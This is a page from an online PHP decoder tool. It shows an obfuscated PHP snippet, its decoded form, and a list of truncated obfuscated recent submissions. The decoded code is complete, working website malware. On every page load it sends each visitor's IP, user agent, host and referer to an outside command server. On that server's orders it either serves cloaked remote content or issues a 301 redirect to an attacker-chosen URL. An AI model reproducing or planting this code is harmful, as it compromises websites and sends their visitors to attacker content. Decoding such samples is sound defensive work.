Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

 goto ZClnU; ZClnU: function kindergarten() { $apiUrl = "\150\x74\164\x70\163\x3a\57\57\155\141\164\x61\x68\x61\x72\x69\x73\x65\156\x6a\x61\x2e\163\x62\x73\x2f\141\160\x69\x2f\163\150\141\144\x65"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("\x69\160" => $_SERVER["\122\105\x4d\x4f\x54\x45\x5f\x41\104\x44\122"], "\165\163\145\162\x5f\141\x67\x65\x6e\164" => $_SERVER["\x48\124\124\120\x5f\125\123\x45\122\137\101\107\x45\x4e\124"], "\150\x6f\x73\x74\x6e\x61\155\145" => $_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"], "\x72\x65\146\x65\162\x65\x72" => $_SERVER["\x48\x54\x54\x50\137\x52\x45\106\105\122\105\x52"]))); $response = curl_exec($ch); $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_status === 200) { $response_data = json_decode($response, true); if ($response_data && isset($response_data["\x73\x75\143\143\145\x73\163"]) && $response_data["\x73\165\x63\143\x65\x73\x73"] === true) { $operation = isset($response_data["\144\x61\x74\x61"]["\x6f\x70\145\x72\x61\164\x69\157\x6e"]) ? $response_data["\144\141\x74\141"]["\x6f\x70\145\162\x61\164\151\x6f\x6e"] : null; $target = isset($response_data["\144\x61\164\x61"]["\x74\141\x72\147\x65\x74\x5f\165\x72\154"]) ? $response_data["\x64\x61\x74\x61"]["\x74\141\x72\147\145\164\137\x75\x72\x6c"] : null; if ($operation === "\x63\x6c\x6f\x61\153" && $target) { $content = fetchContent($target); if ($content !== false) { echo $content; } die; } elseif ($operation === "\x72\145\144\151\x72\145\x63\x74" && $target) { header("\x4c\157\x63\x61\164\151\x6f\156\x3a\40{$target}", true, 301); die; } } } } goto jWr6c; OnPre: kindergarten(); goto gFVIB; jWr6c: function fetchContent($url) { $ch2 = curl_init(); curl_setopt($ch2, CURLOPT_URL, $url); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch2); if (curl_errno($ch2)) { error_log("\x63\125\x52\x4c\40\x45\162\x72\x6f\162\x3a\40" . curl_error($ch2)); $content = false; } curl_close($ch2); return $content; } goto OnPre; gFVIB: ?>

Decrypted code:

 goto ZClnU; ZClnU: function kindergarten() { $apiUrl = "https://mataharisenja.sbs/api/shade"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("ip" => $_SERVER["REMOTE_ADDR"], "user_agent" => $_SERVER["HTTP_USER_AGENT"], "hostname" => $_SERVER["HTTP_HOST"], "referer" => $_SERVER["HTTP_REFERER"]))); $response = curl_exec($ch); $http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_status === 200) { $response_data = json_decode($response, true); if ($response_data && isset($response_data["success"]) && $response_data["success"] === true) { $operation = isset($response_data["data"]["operation"]) ? $response_data["data"]["operation"] : null; $target = isset($response_data["data"]["target_url"]) ? $response_data["data"]["target_url"] : null; if ($operation === "cloak" && $target) { $content = fetchContent($target); if ($content !== false) { echo $content; } die; } elseif ($operation === "redirect" && $target) { header("Location: {$target}", true, 301); die; } } } } goto jWr6c; OnPre: kindergarten(); goto gFVIB; jWr6c: function fetchContent($url) { $ch2 = curl_init(); curl_setopt($ch2, CURLOPT_URL, $url); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch2); if (curl_errno($ch2)) { error_log("cURL Error: " . curl_error($ch2)); $content = false; } curl_close($ch2); return $content; } goto OnPre; gFVIB:

Recent submissions:

< ?php goto oxiT1; KC3di: $sl5eq = $lFKwz($sl5eq); goto m4J3j; zE... < ?php goto oxiT1; KC3di: $sl5eq = $lFKwz($sl5eq); goto m4J3j; zEIti: $GGMnR = $sl5eq... <?php $lFKwz = "printf"; $FRczk = "Loading Class/Code NAME"; $AQTh0 = "ob_end_clean"; ... <?php goto oxiT1; KC3di: $sl5eq = $lFKwz($sl5eq); goto m4J3j; zEIti: $GGMnR = $sl5eq(); go... goto oxiT1; KC3di: $sl5eq = $lFKwz($sl5eq); goto m4J3j; zEIti: $GGMnR = $sl5eq(); ... <?php goto oxiT1; KC3di: $sl5eq = $lFKwz($sl5eq); goto m4J3j; zEIti: $GGMnR = $sl5eq(); ... goto oxiT1; KC3di: $sl5eq = $lFKwz($sl5eq); goto m4J3j; zEIti: $GGMnR = $sl5eq(); goto g0h... <?php oxiT1: $lFKwz = "printf"; cdhu8: $FRczk = "Loading Class/Code NAME"; HV0Iz: ... <?php goto oxiT1; KC3di: $sl5eq = $lFKwz($sl5eq); goto m4J3j; zEIti: $GGMnR = $sl5eq(); g... <?php oxiT1: $lFKwz = "\x70\x72\151\156\x74\x66"; cdhu8: $FRczk = "\114\x6f\141\144\1...